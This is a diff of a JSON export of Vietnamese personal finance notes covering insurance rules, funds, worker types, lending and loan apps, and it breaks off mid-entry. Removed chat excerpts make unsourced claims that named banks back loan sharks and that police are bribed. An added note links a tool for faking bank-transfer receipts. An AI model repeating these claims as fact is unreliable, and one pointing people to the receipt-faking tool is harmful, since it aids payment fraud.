ty\n\n![[Các nguyên tắc được áp dụng cho từng loại hình bảo hiểm.excalidraw]]\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-04T10:35:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-06T07:31:00.000Z", + "Ngày cập nhật": "2024-09-11T17:26:00.000Z", "id": "2w" }, { - "Tiêu đề": "Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền", + "Tiêu đề": "Thời gian chờ là để tránh trục lợi bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Thời gian chờ là để tránh trục lợi bảo hiểm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \nBị tai nạn hoặc bị bệnh thì đều không ai muốn cả. Nhưng tai nạn không cần thời gian chờ vì nếu xảy ra tai nạn thì dễ giám định là có cố ý bị tai nạn hay không. Còn bệnh thì cần thời gian chờ vì nếu bệnh xảy ra bất ngờ thì khó thu thập bằng chứng là đó là cố ý dính bệnh hay không.\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-08T03:07:00.000Z", + "Ngày cập nhật": "2024-09-08T03:25:00.000Z", "id": "2x" }, { - "Tiêu đề": "Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đầu tư/Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình", + "Tiêu đề": "Để một rủi ro được bảo hiểm, nó cần ngẫu nhiên, định lượng bằng tiền được và có số lớn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Để một rủi ro được bảo hiểm, nó cần ngẫu nhiên, định lượng bằng tiền được và có số lớn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\n[[Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo]] \r\nNguồn:: [[Paul Graham]], [What Business Can Learn from Open Source](http://www.paulgraham.com/opensource.html)", + "Toàn bộ nội dung": "Khái niệm:: [[Bảo hiểm]]\nBảo hiểm bắt đầu từ ngành hàng hải\n3 loại rủi ro:\n- Rủi ro có thể được bảo hiểm\n- Rủi ro được bảo hiểm\n- Rủi ro loại trừ\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T06:05:00.000Z", + "Ngày tạo": "2024-09-06T01:51:00.000Z", + "Ngày cập nhật": "2024-09-07T06:23:00.000Z", "id": "2y" }, { - "Tiêu đề": "Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đầu tư/Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng", + "Tiêu đề": "Để được bảo hiểm bệnh có sẵn thì phải chờ 3 năm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Để được bảo hiểm bệnh có sẵn thì phải chờ 3 năm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T05:59:00.000Z", + "Ngày tạo": "2024-09-11T15:53:00.000Z", + "Ngày cập nhật": "2024-09-11T16:12:00.000Z", "id": "2z" }, { - "Tiêu đề": "Đặc trưng của các dự án B2B là phải giao thiệp", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đặc trưng của các dự án B2B là phải giao thiệp", + "Tiêu đề": "Phí ban đầu dùng để trả cho việc bán hàng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Phí ban đầu dùng để trả cho việc bán hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n[[Các trang freelance toàn agency làm]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: \nCho nên năm đầu thì phí ban đầu sẽ cao, các năm sau thì sẽ thấp\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T08:21:00.000Z", + "Ngày tạo": "2024-09-06T09:20:00.000Z", + "Ngày cập nhật": "2024-09-07T12:23:00.000Z", "id": "2-" }, { - "Tiêu đề": "Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "Quỹ dự trữ bắt buộc bằng 5% lợi nhuận sau thuế, tối đa 10% vốn điều lệ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Quỹ dự trữ bắt buộc bằng 5% lợi nhuận sau thuế, tối đa 10% vốn điều lệ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Gọi A là người nộp đơn xin việc vào một công ty và đậu phỏng vấn, và B là người không làm điều đó. Điều này khiến cho A là nhân viên của công ty còn B thì không.\n\nĐầu tiên ta xét hai trường hợp sau:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ---------------- | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| B trả công cho A | A | B | B | Nhân viên ảo |\n\nNhư vậy, sự khác biệt giữa nhân viên có cộng tác viên riêng và nhân viên ảo chỉ là ai là người làm phần việc quan trọng mà thôi. Mà nếu trong khối công việc không có phần việc nào đặc biệt quan trọng hơn các việc khác (khối lượng các tác vụ xêm xêm nhau), thì ranh giới này bị xoá mờ. Ta có:\n\n```\nnhân viên có cộng tác viên riêng ≈ nhân viên ảo \n```\n\nTiếp theo ta chỉ xét trường hợp A trả công cho B:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ---------------- | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| A trả công cho B | A | B | B | Bán việc |\n\nTa có:\n```\nnhân viên có cộng tác viên riêng ≈ bán việc\n```\n\nCuối cùng, nếu không xem ai trả công cho ai, mà là cả hai đều cùng làm việc với nhau rồi lấy tiền về ăn chia, thì đây không còn là hệ 3 thực thể gồm công ty, A và B nữa, mà là hệ 2 thực thể gồm công ty và nhóm A+B. Lúc này A sẽ được gọi là người đại diện nhóm làm việc với công ty. Ta có:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ------------------ | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| A, B tự thoả thuận | A | A, B tự thoả thuận | A, B tự thoả thuận | Người đại diện nhóm |\nTức là:\n```\nnhân viên có cộng tác viên riêng ≈ người đại diện nhóm\n```\n\nTừ tất cả những điều trên, nếu tất cả những gì công ty cần là A làm xong việc, và nếu có vấn đề gì thì người bị công ty lôi đầu ra để xử lý là A chứ không phải là B, thì đối với công ty hình thức nào cũng như nhau cả. Công ty không có lý do gì để xem một hình thức nào là gian lận còn những hình thức khác là hợp lệ.\n\nCó thể tìm hiểu thêm về khái niệm *nét họ hàng giống nhau (family resemblance)* của Wittgenstein để hiểu được việc ranh giới giữa các khái niệm có thể bị lu mờ thế nào.\n\nXem thêm:: [[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]]\n[[Vốn pháp định là do pháp luật quy định. Vốn điều lệ là do thành viên góp vào]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:39:00.000Z", + "Ngày tạo": "2024-09-11T06:39:00.000Z", + "Ngày cập nhật": "2024-09-11T06:40:00.000Z", "id": "2_" }, { - "Tiêu đề": "Cho mượn theo nhóm đảm bảo không bị quịt hơn", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Cho mượn theo nhóm đảm bảo không bị quịt hơn", + "Tiêu đề": "Quỹ liên kết chung là tổng các giá trị tài khoản của tất cả người tham gia bảo hiểm liên kết", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Quỹ liên kết chung là tổng các giá trị tài khoản của tất cả người tham gia bảo hiểm liên kết", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ứng dụng lý thuyết kinh tế học hành vi, cho 3 người vay sẽ chắc ăn hơn 1 người\nở ngoài Bắc gọi là vòng quay vốn\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-14T14:25:00.000Z", + "Ngày tạo": "2024-09-08T02:43:00.000Z", + "Ngày cập nhật": "2024-09-09T07:08:00.000Z", "id": "30" }, { - "Tiêu đề": "Chỉ có người thân được bảo lãnh, chứ bạn bè thì không", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Chỉ có người thân được bảo lãnh, chứ bạn bè thì không", + "Tiêu đề": "Tiền bảo hiểm được trả từ quỹ dự phòng rủi ro", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Tiền bảo hiểm được trả từ quỹ dự phòng rủi ro", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: [[Bảo hiểm]], [[Quỹ]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-13T03:20:00.000Z", - "Ngày cập nhật": "2024-08-14T14:24:00.000Z", + "Ngày tạo": "2024-09-06T04:54:00.000Z", + "Ngày cập nhật": "2024-09-07T12:23:00.000Z", "id": "31" }, { - "Tiêu đề": "Bên cho vay sẽ có bảo hiểm cho vay", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Bên cho vay sẽ có bảo hiểm cho vay", + "Tiêu đề": "Tiền từ người mua hợp đồng được đưa và quỹ dự trù tài chính và quỹ dự trù rủi ro", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Tiền từ người mua hợp đồng được đưa và quỹ dự trù tài chính và quỹ dự trù rủi ro", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\nĐây là lý do các bên cho vay dễ cho vay. Chỉ có bên bảo hiểm mới sợ bị mất tiền. \r\n\r\nbên khác nó ko chọn đóng bảo hiểm mà nâng lãi và chấp nhận rủi ro thì sao, mỗi bên hoạt động khác nhau\r\nOoker: Hmm nếu mà lãi cao rồi khó duyệt thì sao nó cạnh tranh đc với mấy đứa đóng?\r\nKendy: nó đều là chân rết của 1 nguồn ra thôi\r\nOoker: Nguồn nào?\r\nKendy: black china hoặc từ chính các ngân hàng con\r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]]\n[[Tiền bảo hiểm được trả từ quỹ dự phòng rủi ro]]\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày tạo": "2024-09-06T04:54:00.000Z", + "Ngày cập nhật": "2024-09-07T12:23:00.000Z", "id": "32" }, { - "Tiêu đề": "Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính", + "Tiêu đề": "Vốn pháp định là do pháp luật quy định. Vốn điều lệ là do thành viên góp vào", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Phí và quỹ/Vốn pháp định là do pháp luật quy định. Vốn điều lệ là do thành viên góp vào", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tạp chí ngân hàng]], [Hoạt động cho vay ngang hàng tại Việt Nam](https://tapchinganhang.gov.vn/hoat-dong-cho-vay-ngang-hang-tai-viet-nam.htm)\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]] \r\n[Luật pháp hóa hoạt động cho vay ngang hàng tại Việt Nam | Tạp chí Kinh tế và Dự báo](https://kinhtevadubao.vn/luat-phap-hoa-hoat-dong-cho-vay-ngang-hang-tai-viet-nam-27130.html)\r\n[Cho vay ngang hàng: Đưa vào khuôn khổ - Tuổi Trẻ Online](https://tuoitre.vn/cho-vay-ngang-hang-dua-vao-khuon-kho-20220411082233424.htm)\r\n\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Vốn]]\n- Nhân thọ: bao gồm bảo hiểm liên kết đơn vị, và/hoặc bảo hiểm hưu trí\n- Phi nhân thọ: bao gồm bảo hiểm hàng không và/hoặc bảo hiểm vệ tinh\n\n| | | Vốn pháp định | Vốn điều lệ |\n| ------------ | -------------- | ------------- | ----------- |\n| Nhân thọ | Bao gồm + và | 1000 | 1300 |\n| | Bao gồm + hoặc | 800 | 1000 |\n| | Trừ | 600 | 750 |\n| Phi nhân thọ | Bao gồm + và | 300 | 500 |\n| | Bao gồm + hoặc | 250 | 450 |\n| | Trừ | 200 | 400 |\n| Sức khoẻ | | 300 | 400 |\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-27T13:18:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày tạo": "2024-09-06T09:53:00.000Z", + "Ngày cập nhật": "2024-09-11T06:44:00.000Z", "id": "33" }, { - "Tiêu đề": "Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn", + "Tiêu đề": "Các công ty tài chính đa phần đều thiên về lương khoán", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Các công ty tài chính đa phần đều thiên về lương khoán", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-22T10:53:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "34" }, { - "Tiêu đề": "Muốn trả nợ trước hạn cũng phải mất phí", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Muốn trả nợ trước hạn cũng phải mất phí", + "Tiêu đề": "Khác biệt giữa nhân viên, đại lý, cộng tác viên", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Khác biệt giữa nhân viên, đại lý, cộng tác viên", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Tất Toán Khoản Vay Trước Hạn, Nên Hay Không? Những Lưu Ý Khi Tất Toán | LuatVietnam - YouTube](https://youtu.be/KwZ54WHhJLY?si=x3St5bvr1T39HFyD)\r\n", + "Toàn bộ nội dung": "## Cộng tác viên cho công ty\n| Loại hình | Hình thức trả tiền | Bảo hiểm xã hội | Ưu đãi khác | Phải đảm bảo doanh số mỗi tháng |\n| -------------------------------------------- | ---------------------------------------------- | --------------- | ----------- | ------------------------------- |\n| Nhân viên | Lương cứng | ✔ | Tuỳ | ✔ |\n| Đại lý | Làm bao nhiêu ăn bấy nhiêu/ăn hoa hồng, thưởng | ❌ | Tuỳ | ✔ |\n| Cộng tác viên/
    thời vụ tự do (freelancer) | Làm bao nhiêu ăn bấy nhiêu | ❌ | ❌ | ❌ |\n\nGọi là đại lý bảo hiểm, công việc là quảng bá bảo hiểm, khơi gợi nhu cầu đến tất cả mọi người bởi vì ai cũng cần bảo hiểm. Không gọi là kinh doanh bảo hiểm, bởi vì từ đó dùng cho công ty. Không gọi là môi giới bảo hiểm, bởi từ đó dùng cho người làm cho nhiều công ty bảo hiểm. Vốn điều lệ trên 5 tỷ.\n\n## Cộng tác viên cho nhân viên\n| | Nhân viên | Cộng tác viên |\n| ------------------- | ---------------------------- | ------------------------ |\n| Lương | Ăn hết | Tuỳ vào sự ăn chia |\n| Bảo hiểm xã hội | Có | Không |\n| Thời điểm nhận tiền | Cuối tháng | Sau khi hết đầu việc |\n| Thời gian làm | Cố định | Tự do |\n| Áp lực doanh số | Chịu toàn bộ | Nhân viên thực chịu |\n| Mô hình tổ chức | Phân cấp | Phẳng |\n| Loại công việc | Tất cả những gì công ty giao | Chỉ cần làm một đầu việc |\n\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày cập nhật": "2024-09-11T07:07:00.000Z", "id": "35" }, { - "Tiêu đề": "Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel", + "Tiêu đề": "Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đều cùng một nguồn từ ngân hàng TQ hoặc người trong ngân hàng ra làm\r\n", + "Toàn bộ nội dung": "Hiện tại đã có công cụ để làm giả ảnh chuyển khoản ngân hàng, nên mình cần phải kiểm tra tiền tới tài khoản chưa. Nhưng việc đó thì làm nhức đầu\r\n\r\n[Fakebill - Công cụ fake bill chuyển khoản chuẩn dùng để seeding](https://fakebillck.com/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "36" }, { - "Tiêu đề": "Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi", + "Tiêu đề": "GMV là tổng số tiền cửa hàng bán được trong tháng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/GMV là tổng số tiền cửa hàng bán được trong tháng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "nó cần a match với 1st time\r\nnên đã bảo là [[Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn]]\r\n", + "Toàn bộ nội dung": "Ví dụ: Một công ty bán 1000 sản phẩm với giá thành 10 đô la/sản phẩm trong thời gian một tháng thì GMV là gì cho tháng đó sẽ là 10.000 đô la.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:50:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "37" }, { - "Tiêu đề": "App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu", + "Tiêu đề": "ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Lý do:: [[KPI của ASM là trung bình cộng KPI của nhóm]] \nLý do:: [[RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI]]\n\nNếu asm ko có lợi ích gì trong việc kiểm tra xem mình tạo có là thực hay ko thì tại sao ổng phải cảnh báo mình là mình ko đc chạy ảo?\nTại vì rsm gây áp lực. Ăn doanh số 1 cửa hàng, có thể sale ăn 3 tháng, còn asm 6 tháng thì sao? Rsm mãi mãi thì sao?\nGmv, active\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T06:46:00.000Z", - "Ngày cập nhật": "2024-08-27T09:24:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "38" }, { - "Tiêu đề": "App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay", + "Tiêu đề": "ASM", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "thoát tội cho vay nặng lãi\ncó ai cho vay mà lãi 4000%/ năm ko\nOoker: tưởng ko sợ VN chứ\nKendy: sao mà ko sợ\nkhi nó bị tóm\nnó sẽ bán lại khoản nợ cho bên mua bán nợ\nvà khoản nợ đó được hợp pháp hoá\nOoker: mấy app như cake em bảo cũng đâu sợ công an đâu?\nKendy: nó là sân sau của mấy ông lớn như VP bank\nOCB\na thấy mấy số tài khoản nó nhận thuộc ngân hàng nào ko\nOCB, SHB\ntụi nó chính là tụi góp tiền cho vay nóng đấy\nOoker: vãi\nocb, shb là cái bị tóm đó hả?\nKendy: ko nó là 1 nhánh các thnahf viên có quyền lực tham gia góp tiền\nEx: Xã hội đen lập webpage cho vay, gọi góp vốn 1 tỷ trả 50tr/ tháng > tiền gửi ngân hàng 1tỷ chỉ nhận được tầm 8tr/ tháng. vậy a nghĩ người ta có thèm ko\nchính vì vậy a sẽ thấy nhân viên ngân hàng mở đường dây lấy tiền gửi của khách hàng, cho gom tiền sang những chỗ vay cao ntn để ăn lãi\nnhư SCB đợt rồi ấy, chỉ cần 1 chi nhánh ngân hàng gom tiền gửi tiết kiệm của khách, và cho ngược lại đống xã hội đen này vay thì ăn lãi có phải dầy ko\nnên mấy người này chỉ là sân sau rất khôn để né pháp luật bằng cách đóng vai cò con góp vốn thôi chứ ko vận hành\nsever đặt ở nước ngoài và thuê 1 bù nhìn ra chịu trận khi bị tóm\nOoker: thế sao công an ko điều tra bọn này luôn?\nKendy: vì cũng đc xì rồi\nđóng hụi để đc bảo kê\ntháng cầm 100 200 chai qua biếu a có nhắm mắt ko\nOoker: vậy khi nào thì công an mới chịu làm?\nKendy: có ai tự cưa chân mình ko a\nnó chỉ tóm khi nào a cúng tiền ko thoả nó thôi\nchứ toàn nuôi béo rồi thịt để lấy thành tích", + "Toàn bộ nội dung": "ASM là quản lý bán hàng khu vực (area sale manager).\r\n```dataview\r\nlist \r\nFROM \"⚡Hiểu biết sâu/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T09:39:00.000Z", - "Ngày cập nhật": "2024-08-23T10:05:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "39" }, { - "Tiêu đề": "App đen, vay nóng là những cái tên cho cùng một thứ", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen, vay nóng là những cái tên cho cùng một thứ", + "Tiêu đề": "KPI của ASM là trung bình cộng KPI của nhóm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/KPI của ASM là trung bình cộng KPI của nhóm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "[[ASM]]. Chính vì [[KPI của ASM là trung bình cộng KPI của nhóm]], nên:\r\n- [[ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không]]\r\n- 